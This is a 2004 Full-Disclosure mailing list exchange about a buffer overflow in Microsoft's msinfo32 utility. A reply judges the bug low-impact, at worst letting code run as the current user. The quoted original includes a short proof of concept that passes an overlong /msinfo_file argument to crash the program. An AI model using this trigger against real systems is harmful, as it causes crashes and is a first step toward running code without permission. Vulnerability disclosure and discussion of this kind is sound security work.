full-disclosure - MSInfo Buffer Overflow

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From: mvp at joeware.net (joe)
Subject: MSInfo  Buffer Overflow

I think at best you could succeed in crashing the process or executing code
in the context of the user running msinfo32. 
 

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Sent: Monday, August 30, 2004 11:17 PM
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Subject: [Full-Disclosure] MSInfo Buffer Overflow

<SNIP>

Although in tests this bug wouldnt lead to dangerous situations.. 
I wouldnt bet 100% on that !

=====================
Proof Of Concept Code
=====================

C:\Program Files\Common Files\Microsoft Shared\MSInfo>
msinfo32 /msinfo_file=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAA